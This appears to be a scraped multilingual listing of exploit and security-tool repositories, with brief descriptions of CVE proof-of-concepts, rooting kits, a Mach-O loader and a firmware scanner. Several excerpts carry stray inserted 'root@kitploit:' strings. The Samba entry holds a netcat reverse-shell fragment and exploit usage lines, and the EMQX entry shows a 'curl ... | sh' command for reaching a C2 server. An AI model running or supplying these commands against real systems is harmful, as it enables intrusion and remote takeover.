CVE-2024-11318

CVE-2024-11318 IDOR - Угон пользователей AbsysNet 2.3.1 ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ Этот инструмент предназначен для помощи в выявлении и эксплуатации уязвимости CVE-2024-11318 в приложениях. Он предназначен для использования специалистами по кибербезопасности, исследователями и тестировщиками на...

derpyc0w

Отказ от ответственности Я не несу ответственности за любые ваши действия с этим кодом. Этот код предоставляется без каких-либо гарантий. Описание Эксплойт для CVE-2016-5195, который отображает исполняемый файл SUID только для чтения в память только для чтения и использует состояние гонки для...

sdwan-cve-2021-1480

Exploit for CVE-2021-1480 SD-WAN Материалы PoC для эксплуатации CVE-2021-1480 на Cico SD-WAN. Полная публикация доступна на сайте XMCO : https://blog.xmco.fr/wp-content/uploads/2021/08/XMCO-SDWANReport-CVE-2021-1480.pdf Использование: 1. Обновите строки 173 и 176, чтобы задать uid текущего...

CVE-2026-20217

ZendTo 6.15-8 / ClamAV 正確プロファイル RCE と root 変種の再現 このディレクトリは、アカウント不要の ZendTo→ClamAV コード実行チェーンと、その別系統のデフォルトプロファイル Smarty/root-cron 継続に対する、スタンドアロンかつ認可済みラボ向けの再現バンドルです。含まれるもの: 実行可能な PoC 依存関係クロージャ一式 Docker ターゲットトポロジ構築用のスクリプトと来歴情報 試験済み systemd/socket ライフサイクルに一致する Docker Compose 定義...

hp-slate7-root-kit

HP Slate 7 2800 Android 4.1.1 루팅 English | Русский 이 저장소에는 로컬 취약점 CVE-2015-1805 를 악용하여 펌웨어 1.05.18 및 커널 Linux 3.0.8+를 실행하는 HP Slate 7 2800 에서 영구적인 루트 액세스를 얻기 위한 완전한 독립형 키트가 포함되어 있습니다. 이 키트는 실제 태블릿에서 실행되었으며, 결과는 새 ADB 세션과 일반 재부팅 후에 검증되었습니다. 이것은 범용 Android 루팅 도구가 아닙니다. 이 익스플로잇은 이 특정 HP 커널 구성에 한정됩니다...

spd_dump-macos

macOS용 spddump English | 简体中文 UNISOC展锐 BootROM/FDL 플래싱 도구의 macOS 포팅. ilyakurdyukov/spreadtrumflashMIT 기반으로, 클로즈드 소스 spddump의 execaddr2CVE-2022-38694 서명 검증 우회를 보완하고, macOSarm64 + libusb에서 전체 체인을 완성했다: root@kitploit: BootROM → CVE 越界写 → FDL1 → FDL2 → GPT 解析 → 分区读写 → reset 검증 플랫폼: UMS9621T158, Andro...

CVE-2026-18504-CVE-2026-16732

cve-id 기부 PayPal로 이 프로젝트 유지 관리를 지원하거나 아래 QR 코드를 스캔하세요. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하십시오: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 예제 설정: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment...

dyen

dyen dyen은 macOS의 기본 /usr/bin/python3용 stdlib 전용 인메모리 Mach-O 로더loader.py입니다. 일반 dylib, 독립형 DYEN v1 blob암호화된 봉투, 또는 EOF에 해당 blob이 추가된 커버 파일을 읽어서 익명 mmap으로 호스트 슬라이스를 매핑하고, 클래식 rebase/bind 픽스업을 적용한 다음 ctypes 함수 포인터를 통해 dyldmain을 호출합니다. by cenobyte [email protected] 2026...

code-shield

protocol-remediator C/C++ protocol·platform 코드의 취약점 finding을 재현 가능한 증거로 정규화하고, 후보 패치를 격리된 복사본에서 검증하는 MVP다. code-shield는 이름 충돌 위험이 확인된 작업명이라 공개 package와 CLI에는 중립적인 내부 이름을 사용했다. 현재 구현의 중심은 패치 생성 모델이 아니라 다음 검증 폐루프다. root@kitploit: sanitizer 또는 SARIF - Finding + EvidenceBundle - source context -...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Использование root@kitploit: Эксплуатируем цель 10.129.232.46 на порту 445, отправляем обратную оболочку на 10.10.14.82 порт 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 С указанием своих rport и lport python3...

CVE-2025-24813

Описание Данный репозиторий представляет собой среду для воспроизведения последней RCE-уязвимости CVE-2025-24813 в Tomcat. Только для обучения и исследований! Условия эксплуатации В приложении включена функция записи DefaultServlet, которая по умолчанию отключена Приложение поддерживает частичные...

magento2-encryption-key-manager-cli

Magento 2 CLI для управления ключами шифрования Утилита для ротации и управления ключами шифрования в Magento 2. Жертвы CVE-2024-34102 также известной как Cosmic Sting могут использовать её в качестве последующего обслуживания. Предназначено для Разработка Автоматизация развертывания Последующее...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Требования к среде 1. tomcat8 8 Инструкция по использованию 1. Скачайте springframeworkrce-0.0.1-SNAPSHOT.zip, распакуйте и переименуйте в ROOT.war. 2. Замените папку ROOT или файл ROOT.war в папке webapps внутри tomcat. 3. Перейдите в каталог bin внутри tomcat...

cve-2021-4034

CVE-2021-4034 Этот инструмент предназначен для pkexec выполнения одной команды POC whoami root@kitploit: test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 root@kitploit: test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes...

CVE-2019-17662

CVE-2019-17662 Описание ThinVNC 1.0b1 уязвим к произвольному чтению файлов, что приводит к компрометации VNC-сервера. Уязвимость существует даже при включенной аутентификации при развертывании VNC-сервера. Пароль для аутентификации хранится в открытом виде в файле, который можно прочитать через...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 원래 이용 방식은 emqx 플러그인을 업로드하고, 플러그인 템플릿 코드에 Erlang os 모듈을 추가하여 시스템 명령을 호출해 RCE를 실행하는 방식입니다. 출망 환경에서는 기본적으로 curl이 존재하므로, curl http://xx.xx.xx.xx/1.sh | sh를 통해 직접 C2에 연결할 수 있습니다. 타깃이 출망이 아닌 경우, EMQX 자체가 MQTT 메시지 서버이므로 플러그인 업로드와 함께...

firmwalker

firmwalker Простой bash-скрипт для поиска в извлеченной или смонтированной файловой системе прошивки. Он будет искать в извлеченной или смонтированной файловой системе прошивки интересующие элементы, такие как: etc/shadow и etc/passwd список каталога etc/ssl поиск файлов, связанных с SSL, таких к...

firmwalker

firmwalker A simple bash script for searching the extracted or mounted firmware file system. It will search through the extracted or mounted firmware file system for things of interest such as: etc/shadow and etc/passwd list out the etc/ssl directory search for SSL related files such as .pem, .cr...

vault v2.1.0

Vault Please note : We take Vault's security and our users' trust very seriously. If you believe you have found a security issue in Vault, please responsibly disclose by contacting us at [email protected]. Website: developer.hashicorp.com/vault Announcement list: Google Groups Discussion...

cve-2021-41773

Apache 2.4.49 - Обход каталога или удаленное выполнение кода cve-2021-41773.py — это скрипт на Python, который помогает обнаружить уязвимость обхода каталога или удаленного выполнения кода в Apache 2.4.49. Предоставлен уязвимый экземпляр Docker, чтобы можно было опробовать CVE-2021-41773 Если...